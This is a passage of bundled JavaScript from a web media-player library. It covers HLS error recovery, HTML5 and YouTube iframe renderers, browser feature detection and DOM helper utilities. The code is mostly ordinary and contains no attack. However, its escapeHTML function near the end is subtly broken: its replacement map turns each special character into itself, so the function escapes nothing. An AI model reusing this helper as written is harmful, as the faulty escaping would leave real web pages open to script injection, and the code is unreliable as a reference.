(!recoverSwapAudioCodecDate || now - recoverSwapAudioCodecDate > 3000) { recoverSwapAudioCodecDate = new Date().getTime(); console.warn('Attempting to swap Audio Codec and recover from media error'); hlsPlayer.swapAudioCodec(); hlsPlayer.recoverMediaError(); } else { var message = 'Cannot recover, last media error recovery failed'; mediaElement.generateError(message, node.src); console.error(message); } break; case 'networkError': if (data.details === 'manifestLoadError') { if (index < total && mediaFiles[index + 1] !== undefined) { node.setSrc(mediaFiles[index++].src); node.load(); node.play(); } else { var _message = 'Network error'; mediaElement.generateError(_message, mediaFiles); console.error(_message); } } else { var _message2 = 'Network error'; mediaElement.generateError(_message2, mediaFiles); console.error(_message2); } break; default: hlsPlayer.destroy(); break; } return; } } var event = (0, _general.createEvent)(name, mediaElement); event.data = data; mediaElement.dispatchEvent(event); }; var _loop = function _loop(eventType) { if (hlsEvents.hasOwnProperty(eventType)) { hlsPlayer.on(hlsEvents[eventType], function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return assignHlsEvents(hlsEvents[eventType], args); }); } }; for (var eventType in hlsEvents) { _loop(eventType); } }; if (total > 0) { for (; index < total; index++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) { node.setAttribute('src', mediaFiles[index].src); break; } } } if (preload !== 'auto' && !autoplay) { node.addEventListener('play', function () { if (hlsPlayer !== null) { hlsPlayer.startLoad(); } }); node.addEventListener('pause', function () { if (hlsPlayer !== null) { hlsPlayer.stopLoad(); } }); } node.setAttribute('id', id); originalNode.parentNode.insertBefore(node, originalNode); originalNode.autoplay = false; originalNode.style.display = 'none'; node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { node.pause(); node.style.display = 'none'; return node; }; node.show = function () { node.style.display = ''; return node; }; node.destroy = function () { if (hlsPlayer !== null) { hlsPlayer.stopLoad(); hlsPlayer.destroy(); } }; var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); mediaElement.promises.push(NativeHls.load({ options: options.hls, id: id })); return node; } }; _media.typeChecks.push(function (url) { return ~url.toLowerCase().indexOf('.m3u8') ? 'application/x-mpegURL' : null; }); _renderer.renderer.add(HlsNativeRenderer); },{"25":25,"26":26,"27":27,"28":28,"3":3,"7":7,"8":8}],23:[function(_dereq_,module,exports){ 'use strict'; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(27); var _constants = _dereq_(25); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var HtmlMediaElement = { name: 'html5', options: { prefix: 'html5' }, canPlayType: function canPlayType(type) { var mediaElement = _document2.default.createElement('video'); if (_constants.IS_ANDROID && /\/mp(3|4)$/i.test(type) || ~['application/x-mpegurl', 'vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()) && _constants.SUPPORTS_NATIVE_HLS) { return 'yes'; } else if (mediaElement.canPlayType) { return mediaElement.canPlayType(type.toLowerCase()).replace(/no/, ''); } else { return ''; } }, create: function create(mediaElement, options, mediaFiles) { var id = mediaElement.id + '_' + options.prefix; var isActive = false; var node = null; if (mediaElement.originalNode === undefined || mediaElement.originalNode === null) { node = _document2.default.createElement('audio'); mediaElement.appendChild(node); } else { node = mediaElement.originalNode; } node.setAttribute('id', id); var props = _mejs2.default.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return node[propName]; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { node[propName] = value; } }; }; for (var i = 0, _total = props.length; i < _total; i++) { assignGettersSetters(props[i]); } var events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), assignEvents = function assignEvents(eventName) { node.addEventListener(eventName, function (e) { if (isActive) { var _event = (0, _general.createEvent)(e.type, e.target); mediaElement.dispatchEvent(_event); } }); }; for (var _i = 0, _total2 = events.length; _i < _total2; _i++) { assignEvents(events[_i]); } node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { isActive = false; node.style.display = 'none'; return node; }; node.show = function () { isActive = true; node.style.display = ''; return node; }; var index = 0, total = mediaFiles.length; if (total > 0) { for (; index < total; index++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) { node.setAttribute('src', mediaFiles[index].src); break; } } } node.addEventListener('error', function (e) { if (e && e.target && e.target.error && e.target.error.code === 4 && isActive) { if (index < total && mediaFiles[index + 1] !== undefined) { node.src = mediaFiles[index++].src; node.load(); node.play(); } else { mediaElement.generateError('Media error: Format(s) not supported or source(s) not found', mediaFiles); } } }); var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); return node; } }; _window2.default.HtmlMediaElement = _mejs2.default.HtmlMediaElement = HtmlMediaElement; _renderer.renderer.add(HtmlMediaElement); },{"2":2,"25":25,"27":27,"3":3,"7":7,"8":8}],24:[function(_dereq_,module,exports){ 'use strict'; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(27); var _media = _dereq_(28); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var YouTubeApi = { isIframeStarted: false, isIframeLoaded: false, iframeQueue: [], enqueueIframe: function enqueueIframe(settings) { YouTubeApi.isLoaded = typeof YT !== 'undefined' && YT.loaded; if (YouTubeApi.isLoaded) { YouTubeApi.createIframe(settings); } else { YouTubeApi.loadIframeApi(); YouTubeApi.iframeQueue.push(settings); } }, loadIframeApi: function loadIframeApi() { if (!YouTubeApi.isIframeStarted) { (0, _dom.loadScript)('https://www.youtube.com/player_api'); YouTubeApi.isIframeStarted = true; } }, iFrameReady: function iFrameReady() { YouTubeApi.isLoaded = true; YouTubeApi.isIframeLoaded = true; while (YouTubeApi.iframeQueue.length > 0) { var settings = YouTubeApi.iframeQueue.pop(); YouTubeApi.createIframe(settings); } }, createIframe: function createIframe(settings) { return new YT.Player(settings.containerId, settings); }, getYouTubeId: function getYouTubeId(url) { var youTubeId = ''; if (url.indexOf('?') > 0) { youTubeId = YouTubeApi.getYouTubeIdFromParam(url); if (youTubeId === '') { youTubeId = YouTubeApi.getYouTubeIdFromUrl(url); } } else { youTubeId = YouTubeApi.getYouTubeIdFromUrl(url); } var id = youTubeId.substring(youTubeId.lastIndexOf('/') + 1); youTubeId = id.split('?'); return youTubeId[0]; }, getYouTubeIdFromParam: function getYouTubeIdFromParam(url) { if (url === undefined || url === null || !url.trim().length) { return null; } var parts = url.split('?'), parameters = parts[1].split('&'); var youTubeId = ''; for (var i = 0, total = parameters.length; i < total; i++) { var paramParts = parameters[i].split('='); if (paramParts[0] === 'v') { youTubeId = paramParts[1]; break; } } return youTubeId; }, getYouTubeIdFromUrl: function getYouTubeIdFromUrl(url) { if (url === undefined || url === null || !url.trim().length) { return null; } var parts = url.split('?'); url = parts[0]; return url.substring(url.lastIndexOf('/') + 1); }, getYouTubeNoCookieUrl: function getYouTubeNoCookieUrl(url) { if (url === undefined || url === null || !url.trim().length || url.indexOf('//www.youtube') === -1) { return url; } var parts = url.split('/'); parts[2] = parts[2].replace('.com', '-nocookie.com'); return parts.join('/'); } }; var YouTubeIframeRenderer = { name: 'youtube_iframe', options: { prefix: 'youtube_iframe', youtube: { autoplay: 0, controls: 0, disablekb: 1, end: 0, loop: 0, modestbranding: 0, playsinline: 0, rel: 0, showinfo: 0, start: 0, iv_load_policy: 3, nocookie: false, imageQuality: null } }, canPlayType: function canPlayType(type) { return ~['video/youtube', 'video/x-youtube'].indexOf(type.toLowerCase()); }, create: function create(mediaElement, options, mediaFiles) { var youtube = {}, apiStack = [], readyState = 4; var youTubeApi = null, paused = true, ended = false, youTubeIframe = null, volume = 1; youtube.options = options; youtube.id = mediaElement.id + '_' + options.prefix; youtube.mediaElement = mediaElement; var props = _mejs2.default.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); youtube['get' + capName] = function () { if (youTubeApi !== null) { var value = null; switch (propName) { case 'currentTime': return youTubeApi.getCurrentTime(); case 'duration': return youTubeApi.getDuration(); case 'volume': volume = youTubeApi.getVolume() / 100; return volume; case 'playbackRate': return youTubeApi.getPlaybackRate(); case 'paused': return paused; case 'ended': return ended; case 'muted': return youTubeApi.isMuted(); case 'buffered': var percentLoaded = youTubeApi.getVideoLoadedFraction(), duration = youTubeApi.getDuration(); return { start: function start() { return 0; }, end: function end() { return percentLoaded * duration; }, length: 1 }; case 'src': return youTubeApi.getVideoUrl(); case 'readyState': return readyState; } return value; } else { return null; } }; youtube['set' + capName] = function (value) { if (youTubeApi !== null) { switch (propName) { case 'src': var url = typeof value === 'string' ? value : value[0].src, _videoId = YouTubeApi.getYouTubeId(url); if (mediaElement.originalNode.autoplay) { youTubeApi.loadVideoById(_videoId); } else { youTubeApi.cueVideoById(_videoId); } break; case 'currentTime': youTubeApi.seekTo(value); break; case 'muted': if (value) { youTubeApi.mute(); } else { youTubeApi.unMute(); } setTimeout(function () { var event = (0, _general.createEvent)('volumechange', youtube); mediaElement.dispatchEvent(event); }, 50); break; case 'volume': volume = value; youTubeApi.setVolume(value * 100); setTimeout(function () { var event = (0, _general.createEvent)('volumechange', youtube); mediaElement.dispatchEvent(event); }, 50); break; case 'playbackRate': youTubeApi.setPlaybackRate(value); setTimeout(function () { var event = (0, _general.createEvent)('ratechange', youtube); mediaElement.dispatchEvent(event); }, 50); break; case 'readyState': var event = (0, _general.createEvent)('canplay', youtube); mediaElement.dispatchEvent(event); break; default: break; } } else { apiStack.push({ type: 'set', propName: propName, value: value }); } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } var methods = _mejs2.default.html5media.methods, assignMethods = function assignMethods(methodName) { youtube[methodName] = function () { if (youTubeApi !== null) { switch (methodName) { case 'play': paused = false; return youTubeApi.playVideo(); case 'pause': paused = true; return youTubeApi.pauseVideo(); case 'load': return null; } } else { apiStack.push({ type: 'call', methodName: methodName }); } }; }; for (var _i = 0, _total = methods.length; _i < _total; _i++) { assignMethods(methods[_i]); } var errorHandler = function errorHandler(error) { var message = ''; switch (error.data) { case 2: message = 'The request contains an invalid parameter value. Verify that video ID has 11 characters and that contains no invalid characters, such as exclamation points or asterisks.'; break; case 5: message = 'The requested content cannot be played in an HTML5 player or another error related to the HTML5 player has occurred.'; break; case 100: message = 'The video requested was not found. Either video has been removed or has been marked as private.'; break; case 101: case 105: message = 'The owner of the requested video does not allow it to be played in embedded players.'; break; default: message = 'Unknown error.'; break; } mediaElement.generateError('Code ' + error.data + ': ' + message, mediaFiles); }; var youtubeContainer = _document2.default.createElement('div'); youtubeContainer.id = youtube.id; if (youtube.options.youtube.nocookie) { mediaElement.originalNode.src = YouTubeApi.getYouTubeNoCookieUrl(mediaFiles[0].src); } mediaElement.originalNode.parentNode.insertBefore(youtubeContainer, mediaElement.originalNode); mediaElement.originalNode.style.display = 'none'; var isAudio = mediaElement.originalNode.tagName.toLowerCase() === 'audio', height = isAudio ? '1' : mediaElement.originalNode.height, width = isAudio ? '1' : mediaElement.originalNode.width, videoId = YouTubeApi.getYouTubeId(mediaFiles[0].src), youtubeSettings = { id: youtube.id, containerId: youtubeContainer.id, videoId: videoId, height: height, width: width, host: youtube.options.youtube && youtube.options.youtube.nocookie ? 'https://www.youtube-nocookie.com' : undefined, playerVars: Object.assign({ controls: 0, rel: 0, disablekb: 1, showinfo: 0, modestbranding: 0, html5: 1, iv_load_policy: 3 }, youtube.options.youtube), origin: _window2.default.location.host, events: { onReady: function onReady(e) { mediaElement.youTubeApi = youTubeApi = e.target; mediaElement.youTubeState = { paused: true, ended: false }; if (apiStack.length) { for (var _i2 = 0, _total2 = apiStack.length; _i2 < _total2; _i2++) { var stackItem = apiStack[_i2]; if (stackItem.type === 'set') { var propName = stackItem.propName, capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); youtube['set' + capName](stackItem.value); } else if (stackItem.type === 'call') { youtube[stackItem.methodName](); } } } youTubeIframe = youTubeApi.getIframe(); if (mediaElement.originalNode.muted) { youTubeApi.mute(); } var events = ['mouseover', 'mouseout'], assignEvents = function assignEvents(e) { var newEvent = (0, _general.createEvent)(e.type, youtube); mediaElement.dispatchEvent(newEvent); }; for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) { youTubeIframe.addEventListener(events[_i3], assignEvents, false); } var initEvents = ['rendererready', 'loadedmetadata', 'loadeddata', 'canplay']; for (var _i4 = 0, _total4 = initEvents.length; _i4 < _total4; _i4++) { var event = (0, _general.createEvent)(initEvents[_i4], youtube); mediaElement.dispatchEvent(event); } }, onStateChange: function onStateChange(e) { var events = []; switch (e.data) { case -1: events = ['loadedmetadata']; paused = true; ended = false; break; case 0: events = ['ended']; paused = false; ended = !youtube.options.youtube.loop; if (!youtube.options.youtube.loop) { youtube.stopInterval(); } break; case 1: events = ['play', 'playing']; paused = false; ended = false; youtube.startInterval(); break; case 2: events = ['pause']; paused = true; ended = false; youtube.stopInterval(); break; case 3: events = ['progress']; ended = false; break; case 5: events = ['loadeddata', 'loadedmetadata', 'canplay']; paused = true; ended = false; break; } for (var _i5 = 0, _total5 = events.length; _i5 < _total5; _i5++) { var event = (0, _general.createEvent)(events[_i5], youtube); mediaElement.dispatchEvent(event); } }, onError: function onError(e) { return errorHandler(e); } } }; if (isAudio || mediaElement.originalNode.hasAttribute('playsinline')) { youtubeSettings.playerVars.playsinline = 1; } if (mediaElement.originalNode.controls) { youtubeSettings.playerVars.controls = 1; } if (mediaElement.originalNode.autoplay) { youtubeSettings.playerVars.autoplay = 1; } if (mediaElement.originalNode.loop) { youtubeSettings.playerVars.loop = 1; } if ((youtubeSettings.playerVars.loop && parseInt(youtubeSettings.playerVars.loop, 10) === 1 || mediaElement.originalNode.src.indexOf('loop=') > -1) && !youtubeSettings.playerVars.playlist && mediaElement.originalNode.src.indexOf('playlist=') === -1) { youtubeSettings.playerVars.playlist = YouTubeApi.getYouTubeId(mediaElement.originalNode.src); } YouTubeApi.enqueueIframe(youtubeSettings); youtube.onEvent = function (eventName, player, _youTubeState) { if (_youTubeState !== null && _youTubeState !== undefined) { mediaElement.youTubeState = _youTubeState; } }; youtube.setSize = function (width, height) { if (youTubeApi !== null) { youTubeApi.setSize(width, height); } }; youtube.hide = function () { youtube.stopInterval(); youtube.pause(); if (youTubeIframe) { youTubeIframe.style.display = 'none'; } }; youtube.show = function () { if (youTubeIframe) { youTubeIframe.style.display = ''; } }; youtube.destroy = function () { youTubeApi.destroy(); }; youtube.interval = null; youtube.startInterval = function () { youtube.interval = setInterval(function () { var event = (0, _general.createEvent)('timeupdate', youtube); mediaElement.dispatchEvent(event); }, 250); }; youtube.stopInterval = function () { if (youtube.interval) { clearInterval(youtube.interval); } }; youtube.getPosterUrl = function () { var quality = options.youtube.imageQuality, resolutions = ['default', 'hqdefault', 'mqdefault', 'sddefault', 'maxresdefault'], id = YouTubeApi.getYouTubeId(mediaElement.originalNode.src); return quality && resolutions.indexOf(quality) > -1 && id ? 'https://img.youtube.com/vi/' + id + '/' + quality + '.jpg' : ''; }; return youtube; } }; _window2.default.onYouTubePlayerAPIReady = function () { YouTubeApi.iFrameReady(); }; _media.typeChecks.push(function (url) { return (/\/\/(www\.youtube|youtu\.?be)/i.test(url) ? 'video/x-youtube' : null ); }); _renderer.renderer.add(YouTubeIframeRenderer); },{"2":2,"26":26,"27":27,"28":28,"3":3,"7":7,"8":8}],25:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.cancelFullScreen = exports.requestFullScreen = exports.isFullScreen = exports.FULLSCREEN_EVENT_NAME = exports.HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = exports.SUPPORTS_NATIVE_HLS = exports.SUPPORT_PASSIVE_EVENT = exports.SUPPORT_POINTER_EVENTS = exports.HAS_MSE = exports.IS_STOCK_ANDROID = exports.IS_SAFARI = exports.IS_FIREFOX = exports.IS_CHROME = exports.IS_EDGE = exports.IS_IE = exports.IS_ANDROID = exports.IS_IOS = exports.IS_IPOD = exports.IS_IPHONE = exports.IS_IPAD = exports.UA = exports.NAV = undefined; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NAV = exports.NAV = _window2.default.navigator; var UA = exports.UA = NAV.userAgent.toLowerCase(); var IS_IPAD = exports.IS_IPAD = /ipad/i.test(UA) && !_window2.default.MSStream; var IS_IPHONE = exports.IS_IPHONE = /iphone/i.test(UA) && !_window2.default.MSStream; var IS_IPOD = exports.IS_IPOD = /ipod/i.test(UA) && !_window2.default.MSStream; var IS_IOS = exports.IS_IOS = /ipad|iphone|ipod/i.test(UA) && !_window2.default.MSStream; var IS_ANDROID = exports.IS_ANDROID = /android/i.test(UA); var IS_IE = exports.IS_IE = /(trident|microsoft)/i.test(NAV.appName); var IS_EDGE = exports.IS_EDGE = 'msLaunchUri' in NAV && !('documentMode' in _document2.default); var IS_CHROME = exports.IS_CHROME = /chrome/i.test(UA); var IS_FIREFOX = exports.IS_FIREFOX = /firefox/i.test(UA); var IS_SAFARI = exports.IS_SAFARI = /safari/i.test(UA) && !IS_CHROME; var IS_STOCK_ANDROID = exports.IS_STOCK_ANDROID = /^mozilla\/\d+\.\d+\s\(linux;\su;/i.test(UA); var HAS_MSE = exports.HAS_MSE = 'MediaSource' in _window2.default; var SUPPORT_POINTER_EVENTS = exports.SUPPORT_POINTER_EVENTS = function () { var element = _document2.default.createElement('x'), documentElement = _document2.default.documentElement, getComputedStyle = _window2.default.getComputedStyle; if (!('pointerEvents' in element.style)) { return false; } element.style.pointerEvents = 'auto'; element.style.pointerEvents = 'x'; documentElement.appendChild(element); var supports = getComputedStyle && (getComputedStyle(element, '') || {}).pointerEvents === 'auto'; element.remove(); return !!supports; }(); var SUPPORT_PASSIVE_EVENT = exports.SUPPORT_PASSIVE_EVENT = function () { var supportsPassive = false; try { var opts = Object.defineProperty({}, 'passive', { get: function get() { supportsPassive = true; } }); _window2.default.addEventListener('test', null, opts); } catch (e) {} return supportsPassive; }(); var html5Elements = ['source', 'track', 'audio', 'video']; var video = void 0; for (var i = 0, total = html5Elements.length; i < total; i++) { video = _document2.default.createElement(html5Elements[i]); } var SUPPORTS_NATIVE_HLS = exports.SUPPORTS_NATIVE_HLS = IS_SAFARI || IS_IE && /edge/i.test(UA); var hasiOSFullScreen = video.webkitEnterFullscreen !== undefined; var hasNativeFullscreen = video.requestFullscreen !== undefined; if (hasiOSFullScreen && /mac os x 10_5/i.test(UA)) { hasNativeFullscreen = false; hasiOSFullScreen = false; } var hasWebkitNativeFullScreen = video.webkitRequestFullScreen !== undefined; var hasMozNativeFullScreen = video.mozRequestFullScreen !== undefined; var hasMsNativeFullScreen = video.msRequestFullscreen !== undefined; var hasTrueNativeFullScreen = hasWebkitNativeFullScreen || hasMozNativeFullScreen || hasMsNativeFullScreen; var nativeFullScreenEnabled = hasTrueNativeFullScreen; var fullScreenEventName = ''; var isFullScreen = void 0, requestFullScreen = void 0, cancelFullScreen = void 0; if (hasMozNativeFullScreen) { nativeFullScreenEnabled = _document2.default.mozFullScreenEnabled; } else if (hasMsNativeFullScreen) { nativeFullScreenEnabled = _document2.default.msFullscreenEnabled; } if (IS_CHROME) { hasiOSFullScreen = false; } if (hasTrueNativeFullScreen) { if (hasWebkitNativeFullScreen) { fullScreenEventName = 'webkitfullscreenchange'; } else if (hasMozNativeFullScreen) { fullScreenEventName = 'fullscreenchange'; } else if (hasMsNativeFullScreen) { fullScreenEventName = 'MSFullscreenChange'; } exports.isFullScreen = isFullScreen = function isFullScreen() { if (hasMozNativeFullScreen) { return _document2.default.mozFullScreen; } else if (hasWebkitNativeFullScreen) { return _document2.default.webkitIsFullScreen; } else if (hasMsNativeFullScreen) { return _document2.default.msFullscreenElement !== null; } }; exports.requestFullScreen = requestFullScreen = function requestFullScreen(el) { if (hasWebkitNativeFullScreen) { el.webkitRequestFullScreen(); } else if (hasMozNativeFullScreen) { el.mozRequestFullScreen(); } else if (hasMsNativeFullScreen) { el.msRequestFullscreen(); } }; exports.cancelFullScreen = cancelFullScreen = function cancelFullScreen() { if (hasWebkitNativeFullScreen) { _document2.default.webkitCancelFullScreen(); } else if (hasMozNativeFullScreen) { _document2.default.mozCancelFullScreen(); } else if (hasMsNativeFullScreen) { _document2.default.msExitFullscreen(); } }; } var HAS_NATIVE_FULLSCREEN = exports.HAS_NATIVE_FULLSCREEN = hasNativeFullscreen; var HAS_WEBKIT_NATIVE_FULLSCREEN = exports.HAS_WEBKIT_NATIVE_FULLSCREEN = hasWebkitNativeFullScreen; var HAS_MOZ_NATIVE_FULLSCREEN = exports.HAS_MOZ_NATIVE_FULLSCREEN = hasMozNativeFullScreen; var HAS_MS_NATIVE_FULLSCREEN = exports.HAS_MS_NATIVE_FULLSCREEN = hasMsNativeFullScreen; var HAS_IOS_FULLSCREEN = exports.HAS_IOS_FULLSCREEN = hasiOSFullScreen; var HAS_TRUE_NATIVE_FULLSCREEN = exports.HAS_TRUE_NATIVE_FULLSCREEN = hasTrueNativeFullScreen; var HAS_NATIVE_FULLSCREEN_ENABLED = exports.HAS_NATIVE_FULLSCREEN_ENABLED = nativeFullScreenEnabled; var FULLSCREEN_EVENT_NAME = exports.FULLSCREEN_EVENT_NAME = fullScreenEventName; exports.isFullScreen = isFullScreen; exports.requestFullScreen = requestFullScreen; exports.cancelFullScreen = cancelFullScreen; _mejs2.default.Features = _mejs2.default.Features || {}; _mejs2.default.Features.isiPad = IS_IPAD; _mejs2.default.Features.isiPod = IS_IPOD; _mejs2.default.Features.isiPhone = IS_IPHONE; _mejs2.default.Features.isiOS = _mejs2.default.Features.isiPhone || _mejs2.default.Features.isiPad; _mejs2.default.Features.isAndroid = IS_ANDROID; _mejs2.default.Features.isIE = IS_IE; _mejs2.default.Features.isEdge = IS_EDGE; _mejs2.default.Features.isChrome = IS_CHROME; _mejs2.default.Features.isFirefox = IS_FIREFOX; _mejs2.default.Features.isSafari = IS_SAFARI; _mejs2.default.Features.isStockAndroid = IS_STOCK_ANDROID; _mejs2.default.Features.hasMSE = HAS_MSE; _mejs2.default.Features.supportsNativeHLS = SUPPORTS_NATIVE_HLS; _mejs2.default.Features.supportsPointerEvents = SUPPORT_POINTER_EVENTS; _mejs2.default.Features.supportsPassiveEvent = SUPPORT_PASSIVE_EVENT; _mejs2.default.Features.hasiOSFullScreen = HAS_IOS_FULLSCREEN; _mejs2.default.Features.hasNativeFullscreen = HAS_NATIVE_FULLSCREEN; _mejs2.default.Features.hasWebkitNativeFullScreen = HAS_WEBKIT_NATIVE_FULLSCREEN; _mejs2.default.Features.hasMozNativeFullScreen = HAS_MOZ_NATIVE_FULLSCREEN; _mejs2.default.Features.hasMsNativeFullScreen = HAS_MS_NATIVE_FULLSCREEN; _mejs2.default.Features.hasTrueNativeFullScreen = HAS_TRUE_NATIVE_FULLSCREEN; _mejs2.default.Features.nativeFullScreenEnabled = HAS_NATIVE_FULLSCREEN_ENABLED; _mejs2.default.Features.fullScreenEventName = FULLSCREEN_EVENT_NAME; _mejs2.default.Features.isFullScreen = isFullScreen; _mejs2.default.Features.requestFullScreen = requestFullScreen; _mejs2.default.Features.cancelFullScreen = cancelFullScreen; },{"2":2,"3":3,"7":7}],26:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.removeClass = exports.addClass = exports.hasClass = undefined; exports.loadScript = loadScript; exports.offset = offset; exports.toggleClass = toggleClass; exports.fadeOut = fadeOut; exports.fadeIn = fadeIn; exports.siblings = siblings; exports.visible = visible; exports.ajax = ajax; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function loadScript(url) { return new Promise(function (resolve, reject) { var script = _document2.default.createElement('script'); script.src = url; script.async = true; script.onload = function () { script.remove(); resolve(); }; script.onerror = function () { script.remove(); reject(); }; _document2.default.head.appendChild(script); }); } function offset(el) { var rect = el.getBoundingClientRect(), scrollLeft = _window2.default.pageXOffset || _document2.default.documentElement.scrollLeft, scrollTop = _window2.default.pageYOffset || _document2.default.documentElement.scrollTop; return { top: rect.top + scrollTop, left: rect.left + scrollLeft }; } var hasClassMethod = void 0, addClassMethod = void 0, removeClassMethod = void 0; if ('classList' in _document2.default.documentElement) { hasClassMethod = function hasClassMethod(el, className) { return el.classList !== undefined && el.classList.contains(className); }; addClassMethod = function addClassMethod(el, className) { return el.classList.add(className); }; removeClassMethod = function removeClassMethod(el, className) { return el.classList.remove(className); }; } else { hasClassMethod = function hasClassMethod(el, className) { return new RegExp('\\b' + className + '\\b').test(el.className); }; addClassMethod = function addClassMethod(el, className) { if (!hasClass(el, className)) { el.className += ' ' + className; } }; removeClassMethod = function removeClassMethod(el, className) { el.className = el.className.replace(new RegExp('\\b' + className + '\\b', 'g'), ''); }; } var hasClass = exports.hasClass = hasClassMethod; var addClass = exports.addClass = addClassMethod; var removeClass = exports.removeClass = removeClassMethod; function toggleClass(el, className) { hasClass(el, className) ? removeClass(el, className) : addClass(el, className); } function fadeOut(el) { var duration = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 400; var callback = arguments[2]; if (!el.style.opacity) { el.style.opacity = 1; } var start = null; _window2.default.requestAnimationFrame(function animate(timestamp) { start = start || timestamp; var progress = timestamp - start; var opacity = parseFloat(1 - progress / duration, 2); el.style.opacity = opacity < 0 ? 0 : opacity; if (progress > duration) { if (callback && typeof callback === 'function') { callback(); } } else { _window2.default.requestAnimationFrame(animate); } }); } function fadeIn(el) { var duration = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 400; var callback = arguments[2]; if (!el.style.opacity) { el.style.opacity = 0; } var start = null; _window2.default.requestAnimationFrame(function animate(timestamp) { start = start || timestamp; var progress = timestamp - start; var opacity = parseFloat(progress / duration, 2); el.style.opacity = opacity > 1 ? 1 : opacity; if (progress > duration) { if (callback && typeof callback === 'function') { callback(); } } else { _window2.default.requestAnimationFrame(animate); } }); } function siblings(el, filter) { var siblings = []; el = el.parentNode.firstChild; do { if (!filter || filter(el)) { siblings.push(el); } } while (el = el.nextSibling); return siblings; } function visible(elem) { if (elem.getClientRects !== undefined && elem.getClientRects === 'function') { return !!(elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length); } return !!(elem.offsetWidth || elem.offsetHeight); } function ajax(url, dataType, success, error) { var xhr = _window2.default.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject('Microsoft.XMLHTTP'); var type = 'application/x-www-form-urlencoded; charset=UTF-8', completed = false, accept = '*/'.concat('*'); switch (dataType) { case 'text': type = 'text/plain'; break; case 'json': type = 'application/json, text/javascript'; break; case 'html': type = 'text/html'; break; case 'xml': type = 'application/xml, text/xml'; break; } if (type !== 'application/x-www-form-urlencoded') { accept = type + ', */*; q=0.01'; } if (xhr) { xhr.open('GET', url, true); xhr.setRequestHeader('Accept', accept); xhr.onreadystatechange = function () { if (completed) { return; } if (xhr.readyState === 4) { if (xhr.status === 200) { completed = true; var data = void 0; switch (dataType) { case 'json': data = JSON.parse(xhr.responseText); break; case 'xml': data = xhr.responseXML; break; default: data = xhr.responseText; break; } success(data); } else if (typeof error === 'function') { error(xhr.status); } } }; xhr.send(); } } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.offset = offset; _mejs2.default.Utils.hasClass = hasClass; _mejs2.default.Utils.addClass = addClass; _mejs2.default.Utils.removeClass = removeClass; _mejs2.default.Utils.toggleClass = toggleClass; _mejs2.default.Utils.fadeIn = fadeIn; _mejs2.default.Utils.fadeOut = fadeOut; _mejs2.default.Utils.siblings = siblings; _mejs2.default.Utils.visible = visible; _mejs2.default.Utils.ajax = ajax; _mejs2.default.Utils.loadScript = loadScript; },{"2":2,"3":3,"7":7}],27:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.escapeHTML = escapeHTML; exports.debounce = debounce; exports.isObjectEmpty = isObjectEmpty; exports.splitEvents = splitEvents; exports.createEvent = createEvent; exports.isNodeAfter = isNodeAfter; exports.isString = isString; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function escapeHTML(input) { if (typeof input !== 'string') { throw new Error('Argument passed must be a string'); } var map = { '&': '&', '<': '<', '>': '>', '"': '"' }; return input.replace(/[&<>"]/g, function (c) { return map[c]; }); } function debounce(func, wait) { var _this = this, _arguments = 